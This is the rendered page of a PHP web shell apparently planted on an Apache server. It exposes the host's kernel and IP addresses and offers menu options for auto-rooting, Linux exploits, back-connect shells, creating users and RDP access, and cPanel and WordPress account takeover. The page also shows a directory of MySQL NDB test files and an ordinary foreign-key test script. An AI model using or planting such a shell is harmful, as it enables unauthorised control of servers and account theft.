Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.219.241.228
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
ndb /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
bug36547.test
596
B
-rw-r--r--
clusterj.cnf
169
B
-rw-r--r--
clusterj.test
2.28
KB
-rw-r--r--
clusterj_jpa.test
2.71
KB
-rw-r--r--
disabled.def
1.36
KB
-rw-r--r--
have_ndb_dist_priv.inc
944
B
-rw-r--r--
have_ndb_error_insert.inc
931
B
-rw-r--r--
loaddata_autocom_ndb.test
308
B
-rw-r--r--
ndb_add_partition.cnf
594
B
-rw-r--r--
ndb_add_partition.test
13.3
KB
-rw-r--r--
ndb_addnode.cnf
665
B
-rw-r--r--
ndb_addnode.test
5.12
KB
-rw-r--r--
ndb_addnode_restart.cnf
79
B
-rw-r--r--
ndb_addnode_restart.test
299
B
-rw-r--r--
ndb_addnode_restart2.cnf
79
B
-rw-r--r--
ndb_addnode_restart2.test
465
B
-rw-r--r--
ndb_addnode_withbinlog.cnf
869
B
-rw-r--r--
ndb_addnode_withbinlog.test
1.18
KB
-rw-r--r--
ndb_alter_table.test
18.09
KB
-rw-r--r--
ndb_alter_table2.test
1.52
KB
-rw-r--r--
ndb_alter_table3.test
1.68
KB
-rw-r--r--
ndb_alter_table_backup.test
1.73
KB
-rw-r--r--
ndb_alter_table_dml.test
2.8
KB
-rw-r--r--
ndb_alter_table_error.test
1.15
KB
-rw-r--r--
ndb_alter_table_online.test
24.07
KB
-rw-r--r--
ndb_alter_table_online2.test
6.24
KB
-rw-r--r--
ndb_alter_table_online_multi.t...
2.08
KB
-rw-r--r--
ndb_auto_increment.test
12.89
KB
-rw-r--r--
ndb_autoinc.test
2.05
KB
-rw-r--r--
ndb_backup_rate.cnf
286
B
-rw-r--r--
ndb_backup_rate.test
2.35
KB
-rw-r--r--
ndb_basic.test
21.28
KB
-rw-r--r--
ndb_bitfield.test
6.54
KB
-rw-r--r--
ndb_blob.test
18.61
KB
-rw-r--r--
ndb_blob_big.cnf
380
B
-rw-r--r--
ndb_blob_big.test
1.83
KB
-rw-r--r--
ndb_blob_partition.test
4.49
KB
-rw-r--r--
ndb_bug13563280.test
743
B
-rw-r--r--
ndb_bug14166590.cnf
63
B
-rw-r--r--
ndb_bug14166590.test
1.45
KB
-rw-r--r--
ndb_bug17624736.cnf
110
B
-rw-r--r--
ndb_bug17624736.test
2.15
KB
-rw-r--r--
ndb_bug17719439.cnf
63
B
-rw-r--r--
ndb_bug17719439.test
1.34
KB
-rw-r--r--
ndb_bug19390895.cnf
272
B
-rw-r--r--
ndb_bug19390895.test
1.06
KB
-rw-r--r--
ndb_bug26793.test
1.06
KB
-rw-r--r--
ndb_bug31477.test
2.33
KB
-rw-r--r--
ndb_bulk_delete.test
4.13
KB
-rw-r--r--
ndb_bushy_joins.cnf
476
B
-rw-r--r--
ndb_bushy_joins.test
9.03
KB
-rw-r--r--
ndb_cache.cnf
201
B
-rw-r--r--
ndb_cache.test
8.13
KB
-rw-r--r--
ndb_cache2.cnf
23
B
-rw-r--r--
ndb_cache2.test
11.26
KB
-rw-r--r--
ndb_cache_multi.cnf
23
B
-rw-r--r--
ndb_cache_multi.test
2.09
KB
-rw-r--r--
ndb_cache_multi2.cnf
23
B
-rw-r--r--
ndb_cache_multi2.test
4.5
KB
-rw-r--r--
ndb_cache_trans.cnf
23
B
-rw-r--r--
ndb_cache_trans.test
4.85
KB
-rw-r--r--
ndb_charset.test
6.63
KB
-rw-r--r--
ndb_checksum.cnf
50
B
-rw-r--r--
ndb_checksum.test
77
B
-rw-r--r--
ndb_column_properties.test
4.71
KB
-rw-r--r--
ndb_condition_pushdown.test
85.29
KB
-rw-r--r--
ndb_config.test
4.16
KB
-rw-r--r--
ndb_config2.test
514
B
-rw-r--r--
ndb_create_table.test
1005
B
-rw-r--r--
ndb_cursor.test
1.1
KB
-rw-r--r--
ndb_database.test
3.18
KB
-rw-r--r--
ndb_dbug_lock.test
2.15
KB
-rw-r--r--
ndb_dbug_tc_select.test
4.03
KB
-rw-r--r--
ndb_dbug_tc_select_1.inc
1.83
KB
-rw-r--r--
ndb_dbug_tc_select_2.inc
1.91
KB
-rw-r--r--
ndb_dbug_tc_select_3.inc
2.06
KB
-rw-r--r--
ndb_dd_alter.test
9
KB
-rw-r--r--
ndb_dd_basic.test
20.93
KB
-rw-r--r--
ndb_dd_bug12581213.cnf
111
B
-rw-r--r--
ndb_dd_bug12581213.test
580
B
-rw-r--r--
ndb_dd_ddl.test
8.07
KB
-rw-r--r--
ndb_dd_disk2memory.test
10.4
KB
-rw-r--r--
ndb_dd_dump.test
10.79
KB
-rw-r--r--
ndb_dd_initial_lg.cnf
796
B
-rw-r--r--
ndb_dd_initial_lg.test
1.11
KB
-rw-r--r--
ndb_dd_restore_check_tablespac...
12.25
KB
-rw-r--r--
ndb_dd_restore_compat.test
1.13
KB
-rw-r--r--
ndb_dd_sql_features.test
16.35
KB
-rw-r--r--
ndb_ddl_open_trans.test
3.03
KB
-rw-r--r--
ndb_disconnect_ddl.test
1.52
KB
-rw-r--r--
ndb_discover_db-master.opt
43
B
-rw-r--r--
ndb_discover_db.test
3.41
KB
-rw-r--r--
ndb_dist_priv.test
10.53
KB
-rw-r--r--
ndb_dist_priv_bug_13340854.tes...
1.31
KB
-rw-r--r--
ndb_err4012.test
2.79
KB
-rw-r--r--
ndb_error_reporter.ini
288
B
-rw-r--r--
ndb_error_reporter.test
3.3
KB
-rw-r--r--
ndb_fired_trigger_shortage.cnf
60
B
-rw-r--r--
ndb_fired_trigger_shortage.tes...
1.31
KB
-rw-r--r--
ndb_fk_addnode.cnf
931
B
-rw-r--r--
ndb_fk_addnode.test
2.07
KB
-rw-r--r--
ndb_fk_alter.test
3.95
KB
-rw-r--r--
ndb_fk_bugs.test
20.95
KB
-rw-r--r--
ndb_fk_build.test
2.18
KB
-rw-r--r--
ndb_fk_cascade_delete.test
3.86
KB
-rw-r--r--
ndb_fk_cascade_delete_multi.te...
1.96
KB
-rw-r--r--
ndb_fk_cascade_update.test
1.37
KB
-rw-r--r--
ndb_fk_create_drop.test
2.55
KB
-rw-r--r--
ndb_fk_db.test
2.59
KB
-rw-r--r--
ndb_fk_deferred_cascade.test
2.81
KB
-rw-r--r--
ndb_fk_disable.test
11.61
KB
-rw-r--r--
ndb_fk_is.inc
2.59
KB
-rw-r--r--
ndb_fk_is.test
161
B
-rw-r--r--
ndb_fk_locase.cnf
63
B
-rw-r--r--
ndb_fk_locase.test
1.54
KB
-rw-r--r--
ndb_fk_locking.test
2.1
KB
-rw-r--r--
ndb_fk_multi_column.test
1.5
KB
-rw-r--r--
ndb_fk_mysqldump.test
1.32
KB
-rw-r--r--
ndb_fk_mysqldump2.test
1.76
KB
-rw-r--r--
ndb_fk_no_fk.test
25.97
KB
-rw-r--r--
ndb_fk_no_fk_compat.inc
3.94
KB
-rw-r--r--
ndb_fk_no_fk_legacy.test
112
B
-rw-r--r--
ndb_fk_no_fk_ndb-master.opt
49
B
-rw-r--r--
ndb_fk_no_fk_ndb.test
139
B
-rw-r--r--
ndb_fk_noaction.test
4.78
KB
-rw-r--r--
ndb_fk_resources.cnf
91
B
-rw-r--r--
ndb_fk_resources.test
1.44
KB
-rw-r--r--
ndb_fk_restore.inc
2.9
KB
-rw-r--r--
ndb_fk_restore.test
3.63
KB
-rw-r--r--
ndb_fk_restrict.test
5.19
KB
-rw-r--r--
ndb_fk_self_ref.test
3.85
KB
-rw-r--r--
ndb_fk_setdefault.test
982
B
-rw-r--r--
ndb_fk_setnull.test
2.43
KB
-rw-r--r--
ndb_global_schema_lock.test
3.71
KB
-rw-r--r--
ndb_global_schema_lock_error.t...
1.73
KB
-rw-r--r--
ndb_grant.later
10.98
KB
-rw-r--r--
ndb_hashmap.cnf
61
B
-rw-r--r--
ndb_hashmap.test
821
B
-rw-r--r--
ndb_hidden_pk.test
2.76
KB
-rw-r--r--
ndb_index.test
13.42
KB
-rw-r--r--
ndb_index_ordered.test
15.67
KB
-rw-r--r--
ndb_index_stat.test
11.05
KB
-rw-r--r--
ndb_index_stat_enable.inc
1.18
KB
-rw-r--r--
ndb_index_stat_partitions-mast...
70
B
-rw-r--r--
ndb_index_stat_partitions.test
4.27
KB
-rw-r--r--
ndb_index_stat_restart.test
2.47
KB
-rw-r--r--
ndb_index_unique.test
16.63
KB
-rw-r--r--
ndb_init_schema_locks_count.in...
325
B
-rw-r--r--
ndb_insert.test
37.01
KB
-rw-r--r--
ndb_join_pushdown.inc
131.68
KB
-rw-r--r--
ndb_join_pushdown_bka.test
2.98
KB
-rw-r--r--
ndb_join_pushdown_default.test
356
B
-rw-r--r--
ndb_join_pushdown_nobnl.test
464
B
-rw-r--r--
ndb_join_pushdown_none.test
1.15
KB
-rw-r--r--
ndb_jtie.test
1.17
KB
-rw-r--r--
ndb_limit.test
2.44
KB
-rw-r--r--
ndb_load.test
2.33
KB
-rw-r--r--
ndb_loaddatalocal.test
2.63
KB
-rw-r--r--
ndb_lock.test
5.89
KB
-rw-r--r--
ndb_lock_table.test
494
B
-rw-r--r--
ndb_many_fragments.cnf
433
B
-rw-r--r--
ndb_many_fragments.test
1.91
KB
-rw-r--r--
ndb_mgm.cnf
172
B
-rw-r--r--
ndb_mgm.inc
130
B
-rw-r--r--
ndb_mgm.test
7.38
KB
-rw-r--r--
ndb_mgmd.cnf
99
B
-rw-r--r--
ndb_mgmd.test
637
B
-rw-r--r--
ndb_minmax.test
1.48
KB
-rw-r--r--
ndb_multi.test
11.13
KB
-rw-r--r--
ndb_multi_row.test
1.99
KB
-rw-r--r--
ndb_multi_update_delete.test
2.02
KB
-rw-r--r--
ndb_native_default_support.tes...
27.65
KB
-rw-r--r--
ndb_one_fragment.cnf
443
B
-rw-r--r--
ndb_one_fragment.test
3.14
KB
-rw-r--r--
ndb_optimize_table.test
2.65
KB
-rw-r--r--
ndb_optimized_node_selection.t...
1.09
KB
-rw-r--r--
ndb_partition_error.test
2.04
KB
-rw-r--r--
ndb_partition_error2.test
579
B
-rw-r--r--
ndb_partition_hash.test
1.73
KB
-rw-r--r--
ndb_partition_key.test
7.85
KB
-rw-r--r--
ndb_partition_list.test
2.88
KB
-rw-r--r--
ndb_partition_range.test
8.11
KB
-rw-r--r--
ndb_print_file.test
1.35
KB
-rw-r--r--
ndb_rbwr.inc
2.13
KB
-rw-r--r--
ndb_rbwr.test
11.15
KB
-rw-r--r--
ndb_read_multi_range.test
14.9
KB
-rw-r--r--
ndb_reconnect.test
4.03
KB
-rw-r--r--
ndb_rename.test
1.19
KB
-rw-r--r--
ndb_replace.test
4.34
KB
-rw-r--r--
ndb_restart_nostart.inc
147
B
-rw-r--r--
ndb_restart_start.inc
130
B
-rw-r--r--
ndb_restore_bug17916243.test
1.21
KB
-rw-r--r--
ndb_restore_compat_compression...
46
B
-rw-r--r--
ndb_restore_compat_compression...
799
B
-rw-r--r--
ndb_restore_compat_downward.te...
4.21
KB
-rw-r--r--
ndb_restore_compat_endianness....
6.94
KB
-rw-r--r--
ndb_restore_conv_lossy_charbin...
17.35
KB
-rw-r--r--
ndb_restore_conv_lossy_integra...
23.02
KB
-rw-r--r--
ndb_restore_conv_more.test
20.65
KB
-rw-r--r--
ndb_restore_conv_padding.test
9.58
KB
-rw-r--r--
ndb_restore_conv_promotion.tes...
12.91
KB
-rw-r--r--
ndb_restore_discover.test
1.72
KB
-rw-r--r--
ndb_restore_misc.cnf
147
B
-rw-r--r--
ndb_restore_misc.test
27.44
KB
-rw-r--r--
ndb_restore_print.test
6.98
KB
-rw-r--r--
ndb_restore_schema_blobs.test
4.43
KB
-rw-r--r--
ndb_restore_schema_partitions....
15.04
KB
-rw-r--r--
ndb_restore_schema_rewrites.te...
16.47
KB
-rw-r--r--
ndb_restore_schema_subsets.tes...
11.14
KB
-rw-r--r--
ndb_restore_schema_tolerance.t...
6.72
KB
-rw-r--r--
ndb_restore_undolog.cnf
509
B
-rw-r--r--
ndb_restore_undolog.test
16.89
KB
-rw-r--r--
ndb_row_count.test
3.16
KB
-rw-r--r--
ndb_row_format.test
2.28
KB
-rw-r--r--
ndb_schema_locks_count.inc
308
B
-rw-r--r--
ndb_select_count.test
574
B
-rw-r--r--
ndb_share.cnf
652
B
-rw-r--r--
ndb_share.test
9.86
KB
-rw-r--r--
ndb_short_sigs.cnf
170
B
-rw-r--r--
ndb_short_sigs.test
2.7
KB
-rw-r--r--
ndb_show_tables_result.inc
768
B
-rw-r--r--
ndb_single_user-master.opt
32
B
-rw-r--r--
ndb_single_user.test
4.92
KB
-rw-r--r--
ndb_sp.test
1.09
KB
-rw-r--r--
ndb_spj_dict.test
9.25
KB
-rw-r--r--
ndb_sql_allow_batching.test
1.33
KB
-rw-r--r--
ndb_startup.test
2.01
KB
-rw-r--r--
ndb_statistics.inc
3.31
KB
-rw-r--r--
ndb_statistics0.test
613
B
-rw-r--r--
ndb_statistics1.test
612
B
-rw-r--r--
ndb_subquery.test
7.14
KB
-rw-r--r--
ndb_suma_handover.cnf
324
B
-rw-r--r--
ndb_suma_handover.test
1.62
KB
-rw-r--r--
ndb_temporary.test
1.3
KB
-rw-r--r--
ndb_tmp_table_and_DDL.test
603
B
-rw-r--r--
ndb_transaction.test
5.97
KB
-rw-r--r--
ndb_trigger.test
8.98
KB
-rw-r--r--
ndb_truncate.test
1004
B
-rw-r--r--
ndb_types.test
4.9
KB
-rw-r--r--
ndb_update.test
2.94
KB
-rw-r--r--
ndb_update_no_read.test
17.18
KB
-rw-r--r--
ndb_view.test
817
B
-rw-r--r--
ndb_wait_nostart.inc
103
B
-rw-r--r--
ndb_wait_started.inc
84
B
-rw-r--r--
ndb_wait_until_ready.cnf
544
B
-rw-r--r--
ndb_wait_until_ready.test
4.19
KB
-rw-r--r--
ndb_waiter.inc
148
B
-rw-r--r--
ndb_wl946_create.inc
449
B
-rw-r--r--
ndb_wl946_main.test
7.1
KB
-rw-r--r--
ndb_wl946_main_query.inc
66.38
KB
-rw-r--r--
ndb_wl946_post.test
2.67
KB
-rw-r--r--
ndb_wl946_pre.test
2.67
KB
-rw-r--r--
ndb_wl946_pre_query.inc
589
B
-rw-r--r--
ndb_wl946_select_all.inc
1.41
KB
-rw-r--r--
ndbapi-examples.test
3.29
KB
-rw-r--r--
ndbinfo.test
24.32
KB
-rw-r--r--
ndbinfo_cache.cnf
23
B
-rw-r--r--
ndbinfo_cache.test
882
B
-rw-r--r--
ndbinfo_dump.test
780
B
-rw-r--r--
ndbinfo_upgrade.test
1.15
KB
-rw-r--r--
ps_7ndb.test
1.08
KB
-rw-r--r--
show_attributes.inc
664
B
-rw-r--r--
show_indexes.inc
674
B
-rw-r--r--
show_primary_keys.inc
609
B
-rw-r--r--
show_varpart.inc
762
B
-rw-r--r--
strict_autoinc_5ndb.test
356
B
-rw-r--r--
test_debugger.test
267
B
-rw-r--r--
test_mgm.test
262
B
-rw-r--r--
test_mgmd.cnf
232
B
-rw-r--r--
test_mgmd.test
473
B
-rw-r--r--
test_ndbinfo.test
439
B
-rw-r--r--
wl10837.test
274
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ndb_fk_disable.test
-- source include/have_ndb.inc connect (con1,localhost,root,,test); connect (con2,localhost,root,,test); create table parent ( a int primary key auto_increment, b int not null, c int not null, unique(b) using hash, index(c)) engine = ndb; create table child ( a int primary key auto_increment, b int not null, c int not null, unique(b) using hash, index(c)) engine = ndb; alter table child add constraint fkname foreign key (a) references parent(a) on delete restrict on update restrict; insert into parent values (1,1,1); insert into child values (1,1,1); # # Check disabling foreign_key_checks for # autocommit # --error ER_NO_REFERENCED_ROW_2 insert into child values (2,2,2); --echo # Disabling foreign key checks set foreign_key_checks = 0; insert into child values (2,2,2); select * from child order by 1,2,3; set foreign_key_checks = 1; # # Check disabling foreign_key_checks for # user defined transactions. # begin; --error ER_ROW_IS_REFERENCED_2 delete from parent; rollback; --echo # Disabling foreign key checks set foreign_key_checks = 0; begin; delete from parent; rollback; delete from child; delete from parent; set foreign_key_checks = 1; begin; --error ER_NO_REFERENCED_ROW_2 insert into child values (2,2,2); rollback; --echo # Disabling foreign key checks set foreign_key_checks = 0; begin; insert into child values (2,2,2); rollback; set foreign_key_checks = 1; delete from child; delete from parent; # # Check that lock conflicts due to FK checking # do not occurr with set foreign_key_checks = 0; # insert into parent values (1,1,1); connection con1; begin; insert into child values (1,1,1); connection con2; begin; --error ER_LOCK_WAIT_TIMEOUT delete from parent; connection con1; commit; connection con2; commit; delete from child; delete from parent; --echo # Disabling foreign key checks set foreign_key_checks = 0; insert into parent values (1,1,1); connection con1; --echo # Disabling foreign key checks set foreign_key_checks = 0; begin; insert into child values (1,1,1); connection con2; --echo # Disabling foreign key checks set foreign_key_checks = 0; begin; #--error ER_LOCK_WAIT_TIMEOUT delete from parent; connection con1; commit; set foreign_key_checks = 1; connection con2; commit; set foreign_key_checks = 1; select * from parent order by 1,2,3; select * from child order by 1,2,3; delete from child; delete from parent; # # Test that unique constraint checking is # not affected by setting of foreign_key_checks. # set foreign_key_checks = 0; insert into parent values (1,1,1); --error ER_DUP_ENTRY insert into parent values (1,1,1); --error ER_DUP_ENTRY insert into parent values (2,1,1); delete from child; delete from parent; # # Test deferred constraint checking. # The setting of foreign_key_checks when # when the operation was executed is what # should determine if checks are made at commit. # insert into parent values (1,1,1); insert into child values (1,1,1); set ndb_deferred_constraints = 1; set foreign_key_checks = 1; set foreign_key_checks = 0; begin; set foreign_key_checks = 1; insert into child values (2,2,2); --error ER_NO_REFERENCED_ROW_2 commit; begin; insert into child values (2,2,2); set foreign_key_checks = 0; --error ER_NO_REFERENCED_ROW_2 commit; begin; insert into child values (2,2,2); set foreign_key_checks = 1; commit; begin; insert into child values (3,3,3); insert into child values (4,4,4); set foreign_key_checks = 0; insert into parent values (3,3,3); --error ER_NO_REFERENCED_ROW_2 commit; set foreign_key_checks = 1; begin; insert into child values (3,3,3); set foreign_key_checks = 0; insert into parent values (3,3,3); insert into child values (4,4,4); commit; set foreign_key_checks = 1; set ndb_deferred_constraints = 0; alter table child drop foreign key fkname; delete from child; delete from parent; # # Test FK no action (which behaves as deferred restrict) # alter table child add constraint fkname foreign key (a) references parent(a) on delete no action on update no action; insert into parent values (1,1,1); insert into child values (1,1,1); --error ER_NO_REFERENCED_ROW_2 insert into child values (2,2,2); insert into parent values (2,2,2); insert into child values (2,2,2); begin; update parent set a = a + 2; --error ER_ROW_IS_REFERENCED_2 commit; select * from parent order by 1,2,3; select * from child order by 1,2,3; --echo # Disabling foreign key checks set foreign_key_checks = 0; insert into child values (3,3,3); insert into parent values (3,3,3); begin; update parent set a = a + 3; commit; select * from parent order by 1,2,3; select * from child order by 1,2,3; set foreign_key_checks = 1; alter table child drop foreign key fkname; delete from child; delete from parent; # # Test skipping of DELETE cascade # alter table child add constraint fkname foreign key (a) references parent (a) on delete cascade on update restrict; create table grandchild ( a int primary key auto_increment, b int not null, c int not null, unique(b) using hash, index(c)) engine = ndb; alter table grandchild add constraint fkname foreign key (a) references child (a) on delete cascade on update restrict; insert into parent values (1,1,1),(2,2,2); insert into child values (1,1,1),(2,2,2); insert into grandchild values (1,1,1),(2,2,2); begin; delete from parent where a = 1; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; commit; --echo # Disabling foreign key checks set foreign_key_checks = 0; begin; delete from parent where a = 2; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; commit; set foreign_key_checks = 1; alter table child drop foreign key fkname; alter table grandchild drop foreign key fkname; delete from grandchild; delete from child; delete from parent; # # Test skipping of UPDATE cascade # alter table child add constraint fkname foreign key (b) references parent(b) on delete restrict on update cascade; alter table grandchild add constraint fkname foreign key (b) references child(b) on delete restrict on update cascade; insert into parent values (1,1,1), (2,2,2); insert into child values (1,1,1),(2,2,2); insert into grandchild values (1,1,1),(2,2,2); begin; update parent set b = 3 where a = 1; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; rollback; --echo # Disabling foreign key checks set foreign_key_checks = 0; begin; update parent set b = 3 where a = 1; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; rollback; set foreign_key_checks = 1; alter table child drop foreign key fkname; alter table grandchild drop foreign key fkname; delete from grandchild; delete from child; delete from parent; # # Test DELETE cascade deferred # alter table child add constraint fkname foreign key (a) references parent (a) on delete cascade on update restrict; alter table grandchild add constraint fkname foreign key (a) references child (a) on delete cascade on update restrict; set ndb_deferred_constraints = 1; insert into parent values (1,1,1), (2,2,2); insert into child values (1,1,1),(2,2,2); insert into grandchild values (1,1,1),(2,2,2); begin; --echo # Disabling foreign key checks set foreign_key_checks = 0; delete from parent where a = 1; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; commit; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; delete from grandchild; delete from child; delete from parent; insert into parent values (1,1,1), (2,2,2); insert into child values (1,1,1),(2,2,2); insert into grandchild values (1,1,1),(2,2,2); set foreign_key_checks = 1; begin; delete from parent where a = 1; --echo # Disabling foreign key checks set foreign_key_checks = 0; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; commit; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; set ndb_deferred_constraints = 0; set foreign_key_checks = 1; alter table child drop foreign key fkname; alter table grandchild drop foreign key fkname; delete from grandchild; delete from child; delete from parent; # # Test UPDATE cascade deferred # alter table child add constraint fkname foreign key (b) references parent(b) on delete restrict on update cascade; alter table grandchild add constraint fkname foreign key (b) references child(b) on delete restrict on update cascade; set ndb_deferred_constraints = 1; insert into parent values (1,1,1), (2,2,2); insert into child values (1,1,1),(2,2,2); insert into grandchild values (1,1,1),(2,2,2); begin; --echo # Disabling foreign key checks set foreign_key_checks = 0; update parent set b = 3 where a = 1; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; commit; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; delete from grandchild; delete from child; delete from parent; insert into parent values (1,1,1), (2,2,2); insert into child values (1,1,1),(2,2,2); insert into grandchild values (1,1,1),(2,2,2); set foreign_key_checks = 1; begin; update parent set b = 3 where a = 1; --echo # Disabling foreign key checks set foreign_key_checks = 0; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; commit; select * from child order by 1,2,3; select * from grandchild order by 1,2,3; set ndb_deferred_constraints = 0; set foreign_key_checks = 1; alter table child drop foreign key fkname; alter table grandchild drop foreign key fkname; delete from grandchild; delete from child; delete from parent; drop table parent, child, grandchild; # # Test that joins are not affected by disabling FKs # set @save_ndb_join_pushdown = @@session.ndb_join_pushdown; set ndb_join_pushdown = true; create table t1 ( a int not null, b int not null, c int, d int not null, primary key (a), unique (b), unique (c), unique (d) ) engine=ndb; # # CREATE TABLE references are not supported # #create table t2 ( # a int not null references t1(a) on delete cascade on update restrict, # b int not null references t1(b) on delete cascade on update restrict, # c int references t1(c) on delete cascade on update restrict, # d int references t1(d) on delete cascade on update restrict, # primary key (a,b) #) engine=ndb; create table t2 ( a int not null, b int not null, c int, d int, primary key (a) ) engine=ndb; alter table t2 add constraint fa foreign key (a) references t1 (a) on delete cascade on update restrict; alter table t2 add constraint fb foreign key (b) references t1 (b) on delete cascade on update restrict; alter table t2 add constraint fc foreign key (c) references t1 (c) on delete cascade on update restrict; alter table t2 add constraint fd foreign key (d) references t1 (d) on delete cascade on update restrict; insert into t1 values (1,1,1,1), (2,2,2,2), (3,3,3,3), (4,4,4,4), (5,5,5,5), (6,6,6,6); insert into t2 values (1,1,1,1), (2,2,2,2), (3,3,3,3), (4,4,4,4), (5,5,5,5), (6,6,6,6); --error ER_ROW_IS_REFERENCED_2 update t1 set b = 17 where c > 5; --error ER_ROW_IS_REFERENCED_2 update t1 set c = null where c = 2; --sorted_result select * from t1,t2 where t2.a = t1.b and t2.b = t1.c; delete from t1 where d = 3; select * from t2 order by a; --sorted_result select * from t1,t2 where t2.a = t1.b + 1; insert into t1 values (3,3,3,3); insert into t2 values (3,3,3,3); --echo # Disabling foreign key checks set foreign_key_checks = 0; update t1 set b = 17 where c > 5; update t1 set c = null where c = 2; --sorted_result select * from t1,t2 where t2.a = t1.b and t2.b = t1.c; select * from t2 order by a; delete from t1 where d = 3; select * from t2 order by a; --sorted_result select * from t1,t2 where t2.a = t1.b + 1; drop table t2, t1; set ndb_join_pushdown = @save_ndb_join_pushdown; set foreign_key_checks = 1;
Close